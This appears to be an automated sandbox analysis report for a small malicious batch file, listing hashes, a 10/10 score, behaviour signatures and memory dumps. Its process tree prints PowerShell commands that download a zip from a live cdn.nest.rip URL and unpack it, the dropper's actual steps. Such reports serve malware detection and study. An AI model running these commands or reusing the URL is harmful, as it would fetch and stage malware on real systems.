3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1553s
max time network
1555s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06-11-2023 17:25

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General

Target

tesy - Copy (2).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2748	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2748	powershell.exe
2836	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 2748	2096	cmd.exe	25
PID 2096 wrote to memory of 2748	2096	cmd.exe	25
PID 2096 wrote to memory of 2748	2096	cmd.exe	25
PID 2096 wrote to memory of 2836	2096	cmd.exe	30
PID 2096 wrote to memory of 2836	2096	cmd.exe	30
PID 2096 wrote to memory of 2836	2096	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
22fff0ecda3d8ac73c6b3223a95aa522

SHA1
b12a7b42f14129647465d2c291482b52548c2337

SHA256
9d46e0487b4f7e1c08fe9f7e7aa903f237a45c649b0918b5f0773fb66c281e67

SHA512
f3fafc87003e1dd7289b1072e4ac5e51ac0af23cd633844fed7ca5d748d5690603c2148bc492cb2d58929820afdb510c50212190f12283bffecdf58be1ca8648

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZRMUGGZK305Y4PM1PG8K.temp

Filesize
7KB

MD5
22fff0ecda3d8ac73c6b3223a95aa522

SHA1
b12a7b42f14129647465d2c291482b52548c2337

SHA256
9d46e0487b4f7e1c08fe9f7e7aa903f237a45c649b0918b5f0773fb66c281e67

SHA512
f3fafc87003e1dd7289b1072e4ac5e51ac0af23cd633844fed7ca5d748d5690603c2148bc492cb2d58929820afdb510c50212190f12283bffecdf58be1ca8648

Download Submit
memory/2748-7-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-8-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2748-9-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2748-4-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2748-10-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2748-11-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2748-13-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-5-0x0000000002610000-0x0000000002618000-memory.dmp

Filesize
32KB

Download
memory/2748-6-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-21-0x0000000002660000-0x0000000002668000-memory.dmp

Filesize
32KB

Download
memory/2836-20-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2836-19-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/2836-22-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2836-23-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2836-24-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2836-26-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2836-25-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/2836-27-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download